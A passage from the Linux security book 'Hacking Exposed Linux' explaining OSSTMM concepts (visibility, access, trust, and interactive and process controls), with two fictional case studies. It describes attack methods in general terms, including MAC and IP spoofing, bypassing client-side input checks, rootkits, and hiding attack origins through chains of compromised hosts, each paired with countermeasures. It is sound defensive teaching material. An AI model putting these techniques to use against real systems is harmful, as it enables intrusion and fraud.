THE ELEMENTS OF SECURITY Security itself may be definable, but to measure it, we still need to examine it further. Separating the asset and the threat is not in itself the most basic form of security. Separation is actually created by combining three elements: visibility, access, and trust. To better understand these three classifications, let’s look at them in regard to specific attacks.
Visibility Popularity:
10
Simplicity:
10
Impact:
1
Risk Rating:
7
Visibility is the part of security that defines the opportunity. What the attacker sees, knows, or can glean to improve the success of the attack, or even as a reason to put effort into an attack, including how much effort the attack is worth, compromises the effectiveness of security. If the attacker can’t see it, he or she has no means or reason for an attack. The typical Internet-based Linux server is often visible over data networks if it is running services or has been configured to respond to pings. However, some configurations may not be visible if the system is used to shape or route traffic without incrementing packet Time to Live (TTL) values. Linux running a network Intrusion
Chapter 1:
Applying Security
Detection System (IDS) may also be passively capturing traffic and also not be visible because it does not respond to probes.
Being Invisible While being “invisible” is a difficult task in the physical realm, it is not so difficult over data networks. To be invisible, a server need only not make itself known. It must be passive and not respond to any probes or inquiries where DROP ALL would be the most valid IP Chains configuration for all packet replies answering requests deliberately sent by the system itself. You must know which vectors cannot see the system. A system can be visible from one vector, like the intranet, but not visible over the Internet due to having neither an external IP address nor external traffic routed to it. Making the system unknown to those who do not need to know about it reduces the attack surface and, therefore, the opportunity for attack. Unfortunately, visibility is a necessary part of most services since marketing is the core of all business; you must present your wares in order to sell them. Therefore, it is necessary to strike the right balance between what assets should be known to maximize the usefulness and efficiency of services while minimizing exposure.
Access Popularity:
10
Simplicity:
1
Impact: Risk Rating:
10 7
Access is a means toward interactivity. Interactivity can be a response to a service request or even just being able to pick something up and walk out with it. Police studies have shown that access is one of the components of a suitable target. Remove the access and you shrink the attack surface. Provide access and you invite theft. However, access is also needed to provide a service. A service cannot exist without interaction, without access. Like visibility, access is a required component of doing business, but mistakes are often made as to how much access should be given.
Access Denied The simplest way to prevent access is not to provide it. Physically separating an asset and a threat is the strongest deterrent possible. During penetration tests, the most common problems can be attributed to a service or application running that does not need to be running. The greatest strength of Linux is the ability to easily choose which ports are open and which services are running. This is the first decision to make regarding a newly installed Linux system.
9
10
Hacking Exposed Linux: Linux Security Secrets & Solutions
Commonly, the need for unlimited access for efficiency reasons or the desire for more convenience leads to misunderstanding that access does not require symmetry. You can provide full access from one vector and not from another in the same way that the rooms of a house may be locked to outsiders but the occupants inside can move about freely. Furthermore, a system can deny access on some channels and be partially open on others. So a system may be accessible physically but not over the network. Or it can be accessible via dial-up modem but not directly from the Internet. No matter what channel, access means the threat makes a direct attempt to interact with the target. Access over data networks is not, however, the only means of accessing a server. Physical access, modem access, wireless access, and even the ability to get close enough to pick up emanations provide means for attacking a system.
Trust Popularity:
5
Simplicity:
5
Impact: Risk Rating:
10 7
In security sciences, trust is any unauthenticated interactivity between targets within a scope. For example, a web application may interact with a database server without requiring authentication or specifically identifying itself. (Actually, the request’s IP address may be considered weak identification criteria much like a nametag on a person’s shirt is unqualified identification of a specific person.) Where an attacker finds visibility as opportunity and access as direct interaction, trust is useful for indirect interaction. As it is, criminals have two ways to steal anything: take it or have somebody take it for them. Exploiting trust is getting somebody to steal it for them and just hand it over. Anyone securing anything should know that those who have access to assets are as much a weakness to security as not having security at all. Of course, the risk numbers say if the people with access are properly configured (training combined with habit), then they are safer than the unknown. People, however, tend to express free will or irrational behavior at times, leaving them basically unconfigurable over the long term. Luckily, computer systems can remain configured for years. However, the rigidity of system configuration leaves it more open to being fooled. So where a person can be dangerous to grant trusts in a secure environment because he or she expresses too much freedom, a computer system is dangerous to grant trusts because it has too little environmental sensitivity and can be much more gullible. Consider the following scenarios. A criminal calls a bank’s customer service center and using some basic information gleaned from a victim asks to have an account PIN changed on a stolen bankcard. The customer service representative is not satisfied with one of the answers to the security questions and denies the change. The criminal pleads with the representative and gives a wonderful sob story. So the representative tries a few more “security” questions, and
Chapter 1:
Applying Security
when the representative asks the favorite color question, the criminal successfully answers “blue,” and the representative changes the PIN. A computer system would have not have asked more security questions and would have discontinued interaction after the first failure requiring a new login on behalf of the criminal. After the login fails, the criminal tries another card from another account. After hundreds of tries against a whole database of cards, the criminal is finally successful at guessing the answer to one of the random security questions. The system allows this because it does not discriminate about the same user making the query from the same location or IP address again and again using different identities. You can even imagine a criminal trying 100 ATM cards at the same machine and entering 1234 as each card’s PIN. At no time does the ATM machine stop and say, “Hey, don’t I know you?” If the criminal tries that with a bank teller, by the time he or she gets to the third incorrect ATM card PIN, the teller will be calling the police.
Addressing Untrustworthiness Most administrators will tell you that you can’t trust users. Most administrators will also tell you that system uptime is a capricious thing. The simple fact is that you must define the limits of trust for any system or any people on those systems. Just as all order becomes chaos over time, almost all users will persistently test the limits of their permissions either through purposeful hacking or through unintentional operations and all systems will destabilize with use. While many solutions for reigning in trust exist, none is as powerful as proper organization. Defining who, what, and how anything can have unauthenticated access at any time is difficult, but it is the only way to properly control access levels. So one solution is to assure motherboards contain a Trusted Platform Module (TPM) that forces integrity upon a system. Another solution is to employ virtualization to compartmentalize whole operating systems within systems that revert to a previous state when rebooted. Still another is to apply the appropriate access control model. You will not find a single all-encompassing solution for a system required in day-today service operations. A single solution does not exist. Therefore, whatever solutions you define, involve both humans and systems in your defensive strategy. The human helps the system understand the situation and the system helps the human stick to the rules and not be fast-talked or get emotionally involved.
SUMMARY To prepare the reader to best use the countermeasures described in this book, this chapter has outlined the fundamental aspects of operational security defined in regards to visibility, access, and trust. Security separates the asset from the threat, and those three components—visibility, access, and trust—are the holes or gateways in that separation, which in turn increase the attack surface of what needs protecting.
11
12
Hacking Exposed Linux: Linux Security Secrets & Solutions
A proper application of security means the attack surface is limited to the known and desired available services. For any and all uses of a Linux system, there should be no mystery as to where an attack could happen. By assuring the only holes in security are the intentional ones, which were inserted for the sake of productivity, then only those intentional holes should be available for attack and no others.
CASE STUDY The truth remained that nobody had even considered to ask who the guy was. The fact that he was even here meant he had to walk by the security desk and then had to have a card to gain access to the server room. Therefore, everyone figured he should be here—at least that’s what all the people said who were interviewed by the police. “How does someone just walk out with our entire library of backup tapes?” a very nervous looking CEO asked the head of security. Jack had been the head of security for exactly two weeks when this incident occurred. He had been hired into a very loosely controlled organization after the former chief of security chose to retire a few years early to deal with some medical problems. As Jack looked around, he saw an organization whose secrets rested on generic access controls even though employee turnover was high. People came and went with very little screening. Nearly every day a new cafeteria worker served up the vegetable of the day, and almost every night a different janitor wandered the halls. While two weeks was enough to get the guards to at least write down the ID information for delivery personnel, it wasn’t nearly enough time to change such a poor security culture—one where far too much trust had been placed in the assumption of who would want to rip them off. “This shouldn’t have happened,” the CEO complained. “Who steals data from a convenience store home office?” “Competitors,” Jack suggested. The CEO eyed the new head of security suspiciously. “The thief walked right out with our tapes.” “All our tapes,” Jack added. “So now what? We had our one in a million hit. The odds have got to be small that it would ever happen again.” “Security doesn’t really work like that,” Jack explained. “We have a small attack surface. Very little is exposed to the outside. But once inside, there is very little security because nobody asks questions, nobody watches anyone, and no one responds actively to threats because no one really knows who all works here.” “What about the ID badges and the RFID cards needed to open doors? What about the guards at the front gate? How does a box of tapes leave?” “It doesn’t have to,” Jack said to a very puzzled CEO. “When was the last time you looked at someone’s picture ID as they walked past? You can easily follow someone as he walks in through the door. And if he used to work here, it’s even easier. What’s not so easy is getting a big box of tapes out of the building.” “So they’re not gone?” the CEO asked hopefully. “Not necessarily; they could be hidden. If they’re hidden, we can’t use them, which is effectively the same as being stolen. Somebody who used to work here would know that he could never get a box out the door, but the janitorial staff could. In all likelihood, the tapes were put in the trash last night after the last backup, and they were carried out to the bin in the middle of the night. The janitor wouldn’t know to question why we might throw away a bin full of tapes.” The policeman then searched through the bins around the room and found they were indeed all empty.
14
“So they’ll be in the bin outside then, ready to be picked up with all the other trash?” the CEO said with relief. “No, most likely they’re already gone.” Sure enough, the police were able to recover one tape out of the forty tapes that were stolen because it had been mixed in with the other trash. The rest had all disappeared. “You can’t build a company security culture on security alone,” Jack explained to the CEO. “Interactive controls will allow us to protect access to our assets regardless of where that access is coming from. Right now with only authentication controls for those coming in through the doors, we are completely blind to direct interaction with assets, and if someone is clever enough to exploit our processes, like garbage collection, those assets can walk right out under our noses.” “Fix it then,” the CEO told him. It took Jack only a few weeks to address the missing controls, but it would still take years for the corporate culture to evolve to a point where a theft like the one that happened could be avoided.
15
16
Hacking Exposed Linux: Linux Security Secrets & Solutions
T
he biggest problem people have with applying interactive controls is how restrictive they can be if used properly. People are accustomed to having a certain amount of freedom, but interactive controls stifle many of the freedoms they take for granted. These controls have been around since the dawn of security. They’ve been brutally applied by dictators and tyrants to rule nations for the simple reason that they work. Fortunately, these same controls also allow you to protect systems in a pragmatic way. Applied security means separating the asset from the threat for a particular vector. But what happens if you also want to access those assets? What if you want to allow some people to access those assets, but not others? You somehow need to control their interaction with these assets. To do this, you apply any of the five interactive controls.
THE FIVE INTERACTIVE CONTROLS The attack surface is where interactions can occur within a scope. This surface is an exposure of entry points that reach assets. To protect these exposures by controlling access to assets or minimizing the impact an attack could have, any or all of these five controls can be applied. The OSSTMM defines these five controls as • Authentication • Indemnification • Subjugation • Continuity • Resilience Together, these five controls can be used to create the strongest possible protection for an interactive attack surface or they can be used individually to allow for more flexibility. Oftentimes the successful delivery of a service relies upon loosening controls to allow for better customer contact. How strongly these controls are applied is at the discretion of the person applying them; however, starting with the maximum amount of controls and loosening as necessary is recommended, rather than the other way around.
Cracking and Evading Authentication Popularity:
10
Simplicity:
10
Impact:
10
Risk Rating:
10
Authentication can take any form, whether based on a white list, black list, or mix of the two; it does not need to be a login/password by itself. A solution such as antivirus
Chapter 2:
Applying Interactive Controls
software can, therefore, be seen as black list authentication because like a parser, it searches all data for code matching signatures in its database. If it cannot match the code to a signature, then it allows the data. This explains why antivirus software is notoriously ineffective against new viruses and variants of old viruses. Even behavioral and heuristic scanners need to find a match against a database of known viral behaviors, which is also extremely difficult since behavior can mutate from system to system. Authentication attacks are not only directed at login/password type schemes but also at evasion, circumvention, manipulation, and forgery. The attacks can also follow the same techniques used to test any form of authentication. To understand these techniques, you must first understand the authentication process, which, when working correctly, will always occur in the following order even if the process is not necessarily broken down in this manner: 1. Identify the agent. Determine who or what will be authenticated for access or interaction and how and where that identification will take place. 2. Authorize the agent. Provide permission, either implied or in the form of a token that the agent must have or show for access or interaction. 3. Authenticate the agent. Verify the authorization of that agent against specific criteria and grant access. To defeat authentication controls, you must attack at least one of these three parts of the process.
Defeating the Authentication Process The identification process can be attacked in multiple ways. Commonly, when authentication controls are found on Linux systems, they are in the form of logins/ passwords for the system and services, malware detectors like Trojan horse and rootkit scanners, SPAM filtering, and proper user detection like CAPTCHA. To defeat these types of authentication controls, you must still attack parts of the process: • Brute-force
Trying all possible combinations of characters
• Dictionary Trying all the reasonable letter combinations based on words in the language in which the criteria have been set • Circumvention processes • Taint • Fraud
Bypassing the identification or authentication verification
Changing the identification criteria to include the attacking agent Defrauding the identification criteria with a false identity
• Hijack Stealing the identity or authorization token of another agent matching the required criteria • Deny Overwhelming the identification process with valid and invalid requests to slip through unnoticed
17
18
Hacking Exposed Linux: Linux Security Secrets & Solutions
Assuring Authentication Authentication is a process that requires both credentials and authorization to complete an interaction. Furthermore, identification is required for obtaining both credentials and authorization. Therefore, you need to both identify and authorize anything to authenticate it. This assures the authentication is valid. When designing an authentication process, review each part of the process for limitations. By outlining the process and determining any limitations, you can see where authentication will work and how effective it will be at controlling access. To prevent fraud, do not publicize the naming convention for logins and keep the criteria for how an agent or user is identified as secret as possible. An easily guessed login due to publicized or obvious naming conventions weakens the process and then the attacker only needs to guess or force the password. Securing both the login and password inhibits an attacker and strengthens the process. Using publicized, common, or easily guessed account names should only be allowed for local access to minimize dictionary attacks. To stave off brute-force attacks, a password of at least eight characters and symbols should be required to improve complexity. This requirement will lengthen the overall time needed to successfully guess the password. Protecting a system or service from getting overwhelmed can be difficult since the controls themselves are often what get overwhelmed. Slowing down the input response with a simple pause after acceptance will prevent a brute-force program from consuming too many system resources, making guesses so quickly that an administrator can’t respond. However, this does not make any sense for SPAM and malware scanners, which should operate as fast as possible to authenticate the “good” and delete the “bad.” Oftentimes this kind of denial comes at the expense of the parser where extremely large files or extremely deep directory structures are used to exhaust the service. Limiting the authentication verification scope is another means of protecting resources from being wasted unnecessarily. When the verification criteria becomes tainted with an outside suggestion, the verification process will no longer work as controlled. The files that the authentication process relies on must be constantly monitored for integrity changes. If these files can change, then any intruder can add himself or herself to the list of those who should be accepted. Some malware and rootkits are designed to remove their signatures from scanners before they install themselves. Spammers are known to poison the black hole databases that ban them. Even attacks that poison DNS will provide access to systems that authenticate by domain name. Constant vigilance regarding integrity and/or total security for those information stores is needed to ensure that an authentication process keeps doing its job correctly. Typically, however, attackers use disguises, which is why so many attacks focus on fraud and circumvention. Black lists are easiest to fool because they look for something specific to deny. Any change from what is expected will fool the authorization verification, much like wearing a costume might fool a sentry. White lists can also be fooled in the
Chapter 2:
Applying Interactive Controls
same way. Since a white list holds a list of all that is acceptable and denies anything that’s not, all an attacker needs to do is be like something in the list. Wireless MAC filters that accept only certain MAC addresses are fooled by having the right MAC address sniffed from the air and duplicated via software on an unauthorized laptop. Oftentimes pay WiFi connection points use MAC authentication, and by sniffing the air for valid connecting laptops, attackers can hijack their usage minutes by just changing their MAC to match a paying one. IP address–based authentication, which exists to assure only certain servers can connect to a specific database, can be tricked by just faking the IP address of the request packets and sniffing or redirecting the replies from the network. Even so-called heuristics or anomaly detection is also no different than white list verification, in which a “good” or “normal” behavior is first established and then all behavior that does not match is flagged or rejected. Fraud and circumvention can become a complicated affair where network protocols are twisted, attacks are launched according to specific timing sequences, and files selfmutate all to evade detection. Therefore, you need to control all interactions with the authentication process to assure it works properly.
Evading Blame Popularity:
10
Simplicity:
1
Impact: Risk Rating:
10 7
Indemnification is controlling the value of assets via the law and/or insurance to recoup the real and current value of a loss. Currently, attackers use anonymity and meticulous procedures to attack indemnification. If an attacker cannot be identified or an attack cannot be verified, then the owner cannot prosecute or reclaim losses. Furthermore, if the attacker comes from or through a country that is not equipped or willing to properly support legal investigations, then the attacker is as good as anonymous. The Internet is such a vast world of instantaneous travel that everyone is everyone else’s next-door neighbor. Online, there is no such thing as a good neighborhood. And without indemnification control, you can’t enforce private property. When relying on indemnification take full precaution.
Assuring Indemnification While indemnification at first appears to be a process control, it does require interactions to be valid. Many times an indemnification control is as simple as a warning sign or banner promising to prosecute those who continue into unauthorized areas. However, before legal prosecution or insurance claims can be made, an interaction typically has to actually occur.
19
20
Hacking Exposed Linux: Linux Security Secrets & Solutions
To use indemnification as a control, you must have disclaimers on all services intended only for authorized personnel. If these services are then used by others, this indemnifies the owner of any claims of loss or damage. It also requires full asset accounting of systems, services, protocols, and operational software. The Risk Assessment Values from the OSSTMM can provide this accounting as well as a quantification of the security level as a metric. If provided by a certified auditor, the accounting may be certified itself, if necessary, for insurance or legal compliance.
Thinking Outside the Box Popularity:
5
Simplicity:
5
Impact: Risk Rating:
10 7
Ultimate safety requires controlling every aspect of every interaction. However, doing this requires more than just authentication, which must assume some trust to allow the authorized person to do particular things once authenticated. To assure that person does not try things outside the scope or even the imagination of the security put in place, the best solution is to subjugate in instances where all interaction is denied unless it is expressly allowed. Finding yourself in a Linux system or service that has subjugation controls is like being in a play. All the dialogue and the movements are scripted, and very little can be done or said ad hoc within the scene. Interaction choices are limited, and the results of those choices are well defined. It appears there’s no room for hacking, but that is not so. Attacking a system under subjugation controls is very possible. The subjugation limitations are often input-specific, usually a white list of interactions that allows the user to choose from specific actions. If the action is not listed, then it is flatly denied. When an effective subjugation control system is in place, such as one that uses trusted computing hardware like the Trusted Platform Module (TPM), memory leaks and improper input validation to elevate privileges cannot exist. Therefore, a successful attack has to be focused elsewhere. Only a few attacks are possible against properly administered subjugation controls on a Linux system: • Attack how the interaction is made rather than what can interact. Whether the limitations are in the protocols, the function calls used in the communication, the vector the interaction is coming from, or the white list of acceptable usage, most successful attacks are against the communication processes and white list implementation. For example, JavaScript is often used on a web page to control input; however, attackers can usually side step this quite easily by saving and removing the input restrictions from the page locally before reloading it again in a browser.
Chapter 2:
Applying Interactive Controls
• Attack the emanations caused by the implementation of subjugation controls. A subjugation control requires interactions both with its own white list and with the user. Depending on the attacker’s goal, being able to access this communication may be a worthwhile way to gain unauthorized information. Just knowing how the process works—how the function calls are made or how the protocols operate—may be necessary and useful for attacking the system. Subjugate the system yourself from a lower level. The Linux part of the operating system is actually the Linux kernel. This level is the lowest possible. Either through physical or human security attacks, like entering the data center or tricking a privileged user, preferably root, into running malicious code, the kernel itself can be subjugated through tainted modules or rootkits. This can give an attacker control over the entire system and any virtual systems running beneath it—at least until the next reboot (assuming a hardware TPM is present and applied).
Demanding Proper Subjugation Subjugation is the locally sourced control over the protection and restrictions of interactions by the asset responsible. These controls can be subsets of acceptable inputs but also include all situations where the owner mandates a type of non-negotiable security level such as the level of encryption to be used in SSH, the necessity of HTTPS to access a particular website, or strong preselected passwords instead of user-defined ones. Properly implemented subjugation requires defining the role and scope of the user exactly, the accessible and usable applications, and the role and scope of those applications on the system. This means that subjugation cannot work well on its own without other controls providing side-protection, like authentication to assure the roles, privacy, and confidentiality to protect the communication channel; integrity to maintain change states; and alarms for notifying administrators when other applications or data stores on the system are accessed regardless of role. Most importantly, all subjugation controls must be initiated from a vector that the user cannot access or influence. Since attacks against this control can be made through physically placing a boot disk in the server and making changes through the terminal to malware run by a person with root privileges, all such vectors must be protected. Remember that even console video games, in which most users are familiar with subjugation controls in the form of special cartridges that require specific decoding knowledge and hardware, get hacked and read because users have access to all of the cartridge’s vectors. It is also why Digital Rights Management (DRM) failed on CDs and DVDs.
21
22
Hacking Exposed Linux: Linux Security Secrets & Solutions
Denial of Service Popularity:
5
Simplicity:
10
Impact:
10
Risk Rating:
8
Some attacks are not about reading, stealing, or destroying information and applications. Some are simply about preventing anyone else from doing so by denying access to those things. Attackers achieve this by • Abusing and exhausting application and memory resources so servers cannot serve others: Examples of this are the half-open attacks that starve a service’s resources by opening and keeping open all TCP connections so they need to time out rather than shut with a FIN (finish) or RST (reset) flagged packet. • Overwhelming interaction gateways so servers cannot serve others: This attack has been made popular by distributed zombie hosts on the Internet, procured via malware and used to send huge packet storms to overwhelm even extremely fat pipes of network connectivity. • Hiding or holding information hostage on the servers themselves: This attack was popularized in the 1990s by viruses that would encrypt the contents of a hard disk requiring a ransom to be paid to set it free. This type of attack has also become a field of study—steganography, which deals with hiding information within information. These attacks are generally about the fact that in the computing world size matters. Fatter network pipes will always be able to flood out thinner ones. Bigger memory stores and bigger disk stores will hold out longer and exhaust more slowly than smaller ones. More processors will out-crunch fewer processors of the same speed and sometimes even faster ones. The whole dynamic of computing hardware is about the size of its resources. This means successful attackers usually just need to outsize the target. In some ways, however, size can be a problem. Especially when size leads to complexity (or when complexity leads to increased size because the problem is really the same), the same size attack surface still exists but the difficulty in properly configuring and protecting complex systems can create self-induced problems like denial of service. Hiding things in complex systems is also easier. And information held hostage can be more detrimental in complex systems because more components may rely upon that information.
Creating Continuity Continuity is the control over processes to maintain access to assets in the event of corruption or failure. Common applications of this control include survivability,
Chapter 2:
Applying Interactive Controls
redundancy, and fault tolerance. Continuity is a means of providing service regardless of attacks or self-induced failures. Denial-of-service protection in all its applicable forms has gotten great amounts of press in recent years. However, many people don’t understand that continuity has always been a popular control because it can be a very visible and very applicable safety net. For example, you can safely assume that data backups and distributed file serving solutions are far more common and far more heavily invested in by companies than any other control. As we include redundancy systems, such as those for name services, mail relay, and web services, in that group, organizations use continuity controls at an even great percentage. Understanding this is necessary because often when people talk about system security they mean attacks against the system. But security is so much more than that. It is protection from attacks, yes, but also from errors and very human mistakes. Continuity is a means for protecting against those mistakes and is of much more value than the standard attack hype that plays all the time in the media. Creating good continuity is very simple. First, map out the service or the process to visualize what is happening. Next, determine where the interaction points are both with the untrusted and “trusted” users, data sources, and networks. Finally, assure that none of those points on the untrusted side can be a single point of failure and all of the points on the trusted side are protected in case of error. Obviously you have to consider cost and focus on where you’ll lose the most due to downtime.
Denial of Protection Popularity:
9
Simplicity:
10
Impact:
10
Risk Rating:
10
Resiliency is not designed to reduce a target’s attack surface, but it will assure that when other controls fail, they fail in a way so that assets are immediately separated from the threat. Attacking this control is a means of causing a denial of service to legitimate users. The truth about resiliency controls are that for most implementations they are at odds with continuity controls. Implementing these controls on a network-sized scale without shutting down the entire network when an attack is perpetrated is incredibly difficult. However, many network intrusion prevention systems and some firewalls use resiliency. Furthermore, it is often implemented in a poor or ad hoc manner where anyone can trigger the controls and affect everyone. A great example is when a bad interaction triggers a resiliency control to add an attacker’s IP address to a list of IPs to ignore and deny service to. The attacker then spoofs the IP address of the gateway router or other internal servers so they deny traffic within their own network and effectively box themselves out. The trick to making the resiliency code eat its own just desserts has less effect these days due to abuse. Most of these systems are configured to not deny certain IP ranges,
23
24
Hacking Exposed Linux: Linux Security Secrets & Solutions
which will effectively protect them from this attack. It is still possible, however, to send attacks using spoofed IPs to deny access to partners, customers, and others who depend on reaching those services.
Creating Resiliency Resilience means controlling security mechanisms to provide continued protection to assets in the event of corruption or failure. Resilience is also known as fail safely. When resiliency is applied, it is often a form of denial of service, which means using it without continuity controls. Applying resiliency controls is the same as closing shop when the sun goes down. However, with continuity, you can still close shop and just reroute all customers to a store where the sun is still up. And with networking, the rerouting is nearly instantaneous for customers. However, what’s to stop an attacker from using the same attack again and again against each server with resiliency controls? Sadly, nothing. This is just how resiliency works best. When resiliency controls are applied, then the threat is instantly separated from the assets at the moment of attack. In the case of a Linux server, which black-lists IPs in realtime as the attacks arrive and then sends them to the redundant service, that service may be on a different type of operating system, at a different kernel level, running a different service daemon for the same service, or even be behind a firewall with different or stricter rules. This allows the main server to serve the general public and respond quickly to requests. However, when attacks arrive, the packets are rerouted to a server that will still respond but may not be affected by that type of attack and that server should have much more stringent rules. This will invariably make it slower and limit the number of connections it can respond to, but because it is not the main public server, users will not notice the load. Other types of resiliency controls deal with the applications themselves. A good resiliency control will allow an application that falters or abuses memory space to fail completely and remove itself from memory rather than create a security hole within the operating system. For many user applications this may be inconvenient since it would require that programs be written perfectly within the context of disk and memory usage and they are not. Failure of such applications would mean, for example, a word processor would just instantly fail and disappear without warning when a user is writing. This would seriously affect user trust of the application and could cost users and companies a lot of money due to inefficiencies over the years.
SUMMARY In this chapter, we covered all five interactive controls: authentication, indemnification, subjugation, continuity, and resilience. All five enhance protection where there is no security but threats still need to be managed.
Chapter 2:
Applying Interactive Controls
Authentication blocks or allows access based on particular criteria and the means of identifying that criteria. This extends to logins and passwords or parser-based scanners like antivirus scanners. Indemnification is a control to recoup losses from an attack through legal means or insurance mediums. This control requires catching an attack when it’s happening or being able to prove that it occurred so it can be stipulated as a liability or loss. Subjugation is a control to predetermine the needs of the users and allow them to do anything within those guidelines. The source that controls the interaction cannot ever come into the user’s control. Continuity is a control for assuring a service is still available after a crisis. Continuity may fall under various categories, such as load balancing or redundancy, and span multiple channels, such as allowing users to access the service by phone if a web server is down. Resiliency is a control to assure that a service fails securely. At the point of an attack, the service should not fail in a way that can be exploited or assets are exposed. Unfortunately, resiliency can also be a form of self–denial of service.
CASE STUDY Once the dust cleared from the largest single hack that Green Valley Bank and Trust ever experienced, Adrian, the network administrator, had a good laugh. The credit and banking information of more than 30,000 customers from as far back as 20 years had been stolen, and the publicity department was nervous while preparing a statement for the press in case word got out. One of the managers gave Adrian a glaring look to let him know how inappropriate it was to laugh, so he quickly put on his best somber face. The damage was so extensive that the bank president returned immediately from vacation, all tanned and smelling like tropical oils. The reputation of the bank hung in the balance as it was one of the few independent holdouts who had successfully managed to leverage their 100-year-strong community commitment into a position no major bank chain could penetrate in the county. However, the bank’s need to modernize to provide Internet banking and other electronic services weakened resources and did little to bring more customers. The bank president disliked the idea from the start, but the board wanted growth, and they felt that electronic banking with a hometown touch was the way to accomplish that. Unfortunately, to his chagrin, this attack confirmed his apprehension and also killed any chance the bank had to expand at all. Now he looked defeated and everyone could see that, even Adrian. The president sat in an enclosed glass meeting room with board members, lawyers, and the chief information security officer (CISO) in charge of network security. Hands were animated as they talked loudly and shoved papers around. Adrian sat at his desk, half hidden behind his monitor, and watched the action. He had no authorization to access the security systems—the various firewalls, the Intrusion Detection and Prevention Systems, or even the weekly vulnerability test reports. However, he did have access to the few web servers and database logs so he could try to see what happened. He looked up and saw the president throwing papers back at the CISO. His voice was loud enough that even Adrian could hear it, “Well apparently compliance is NOT security!” Adrian looked back down at his computer screen and giggled again. He knew that it had been just a matter of time before they would get hacked. He never considered that any of the compliance audits were any good. He always wondered how good a regulation could be if it requires running antivirus software on the Linux servers too? As terrible as the attack was he did feel that justice had been served. He had told them to put in more process controls. He had told them they had to encrypt the information and not just the transactions. He had told them they needed to tighten the authentication schemes to ensure that nobody could deny any part of any interactivity they had with the systems. He had told them they had to make sure the security auditors used the OSSTMM to measure their protection levels to indemnify themselves properly against attacks. He had told them all this time and again. Furthermore, he had argued that compliance to a generalized and watered-down regulation could not possibly be security fit for a bank. At the time, their dismissive attitude was perplexing to him. Adrian continued searching through the server logs to find out what happened when the CISO stepped out of the meeting room and called him in. He grabbed his notepad and a pen. He felt confident even though the tension as he entered was palpable. He began to sit down when the CISO told him to remain standing.
28
“It appears you have been in charge of remediation?” the president asked him, his comb-over hair oily and in disarray. “Yes, sir,” said Adrian. “You are aware of the situation we encountered last night?” “I am, sir.” “Then you understand why we will have to let you go.” “What?!” “Our audit reports show good scores on security, therefore, the only flaw we can determine must be in the remediation process. Unfortunately, this is your area of expertise. I cannot understand the full technical details of how you failed to meet compliance, but I see, for example, that it took you months to get even antivirus software running on the Linux web servers. That is just unacceptable, and although sometimes you may get away with not responding quickly to the auditor’s recommendations, this one time it has been disastrous.” “But—” Adrian mumbled, dumbstruck. “We’re all sorry it happened this way but where were you when the process broke down? Security will see you out immediately.” The armed guards showed up to escort Adrian to his desk where he could pick up his personal belongings and then walked him out to the street.
29
30
Hacking Exposed Linux: Linux Security Secrets & Solutions
O
nce an asset can be separated from a threat the asset is said to be secure. If you need to allow access to assets in particular ways, or to particular people or processes, you can use interactive controls to assure the access is within particular boundaries. However, what happens when an asset is in motion or is in an environment beyond your control? For those instances, there are process controls. Process controls are perhaps the most widely applied controls for the information age. Where interactive controls interfere with interactions, process controls protect assets where access is not a requirement. So as communications increase and individual privacy becomes more and more precious, the five process controls are even more vital.
THE FIVE PROCESS CONTROLS Once information leaves the scope or enters into a less trusted area, interactive controls no longer work. For example, file sharing via P2P networks requires accessing a lot of information that then travels from system to system on demand. At this point, interactive controls cannot effectively prevent an unauthorized person from accessing that information. Even law enforcement can’t effectively extinguish the number of people accessing unauthorized files. However, if the files were protected by process controls, they would not be usable or readable by anyone else. The OSSTMM defines these five controls as • Non-repudiation • Confidentiality • Privacy • Integrity • Alarm These five controls can be used all together to create the strongest possible control of assets within a process, often as assets are passed between people or travel outside of a secured area. Oftentimes the successful delivery of a service relies upon the loosening of controls to allow for optimal service efficiency. As mentioned in the previous chapter, starting with the maximum amount of controls and loosening as necessary is recommended, rather than doing the opposite and building toward being better protected.
Chapter 3:
Applying Process Controls
Being Faceless and Traceless Popularity:
10
Simplicity:
10
Impact:
10
Risk Rating:
10
The ability to be invisible and untraceable is a desired trait for any attacker. If an attack is possible, can it be done with full anonymity even if it fails? The non-repudiation control is applied by system owners who want to be sure that all interactions are recorded so that later no one can deny having made an interaction. This control is used in most all regulations that define business transparency even if just for the sake of bookkeeping. However, it’s also used to assure that the child who accesses adult materials online cannot deny having been sufficiently warned about that content or to protect the online store that wants further verification of a purchaser in order to reduce fraudulent purchases. Overcoming non-repudiation is a difficult task in the physical world but much easier in the electronic world and merely simple in the wireless world. Since the non-repudiation control is often managed only upon access to the assets, attacks against the information in motion, between the sender and the receiver, circumvent the controls. A parallel to this in the physical world is easiest to see when you consider how robbing a bank itself may expose the thief to a number of surveillance devices such as cameras, but the criminal attacking the armored car moving the money between banks encounters fewer such devices, if any at all. Avoiding properly applied non-repudiation is difficult because access to the assets will track the time, date, and the user’s location of origin. Therefore, the attacker must first attack another system and use that as the point of origin. This allows the attacker to create a chain so the point of origin is sufficiently obscured through multiple systems. Fortunately, some attackers make dumb mistakes such as downloading stolen files directly to the point of origin and not through the chain that they created, effectively giving away their location. Another means of stealing data without it being logged is to steal data in transit between the target and another user. Although this may be possible if weak or no encryption is applied during the transfer, it still does not allow attackers to choose what data to steal.
Assurance Through Non-repudiation Non-repudiation prevents the source from denying its role in any interactivity regardless of whether or not access was obtained. Additionally, this control is also about documenting how the user acts and what she does and not just what assets she accesses. Therefore, when creating a non-repudiation control, keep in mind that it is not enough to record what has been accessed by whom and when, but you must also record how the access
31
32
Hacking Exposed Linux: Linux Security Secrets & Solutions
occurred, such as details regarding the connecting applications and equipment, especially if language and regional details are accessible; the origin of the connection by IP address and possible physical location; and the time-zone information with the time of access. Details such as these will better assure that a user is actually connected to a machine and a location, because otherwise an attacker may be associated with a system that isn’t actually there or else an innocent person can be blamed for an attack because his system had been compromised in order to carry out the attack. Using non-repudiation controls without other controls that can better assure and identify a user and the assets accessed makes little sense. Without subjugation controls, for example, the user can defraud access (think of a sign-in sheet where the person signs herself in). Without authentication, very little may be known about the official user, such as connection trends and permitted connection locations. Finally, without confidentiality controls like encryption, the data between the server and a user can be intercepted while completely bypassing non-repudiation.
Cracking Confidentiality Popularity:
10
Simplicity:
1
Impact: Risk Rating:
10 7
